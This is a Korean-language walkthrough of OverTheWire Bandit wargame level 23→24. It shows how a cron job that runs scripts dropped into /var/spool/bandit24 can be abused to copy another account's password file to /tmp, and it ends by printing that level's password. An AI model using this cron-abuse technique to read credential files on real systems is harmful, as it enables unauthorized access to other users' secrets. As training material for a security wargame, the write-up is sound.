Bandit Level 23 → Level 24
Level Goal
어떤 프로그램은 cron으로부터 일정한 간격에서 주기적으로 작동하고 있습니다. cron은 시간 기반의 작업 스케줄러입니다.
'/etc/cron.d/'에서 구성에 대해 찾아보고 어떤 명령어가 실행되고 있는지 확인해보세요.
Note : 이 레벨은 당신의 첫번째 쉘 스크립트를 만드는 것을 필요로 합니다. 이것은 도전적이며 당신이 이 레벨을 통과했을 때 스스로를 자랑스러워해도 된다.
Note 2 : 당신의 쉘 스크립트는 한 번 실행되면 제거된다는 걸 명심해라, 그래서 당신이 주변 어딘가에 백업 해두는 것을 권고한다.
Commands you may need to solve this level
cron, crontab, crontab(5)(use "man 5 crontab" to access this)
Answer
$ cd /etc/cron.d
$ ls -al
$ cat cronjob_bandit24
$ cat /usr/bin/cronjob_bandit24.sh
// echo 명령으로 /var/spool/계정에 모든 스크립트를 실행하고 지우라고 하고 있다.
$ cd /var/spool/bandit24
$ mkdir /tmp/mydir11
$ vi /tmp/mydir11/t123.sh
// vi 명령어를 이용하여 다음 경로에 t123.sh 파일을 만들어 아래 내용을 작성한 후 :wq!로 저장하고 나온다
#! /bin/bash
cat /etc/bandit_pass/bandit24 > /tmp/mydir11/rst.txt
(백업작업)
$ chmod o+w /tmp/mydir11 // 다른 사용자도 작성이 가능하도록 권한 변경을 해준다.
$ ls -al /tmp/mydir11
$ cp /tmp/mydir11/t123.sh . // t123.sh파일을 현재 폴더에 복사하여 저장한다.
$ ls /tmp/mydir11 // mydir11폴더에서 rst.txt 파일을 본다.
$ cat /tmp/mydir11/rst.txt // 내용을 확인하여 패스워드 확인.
bandit24 password : UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ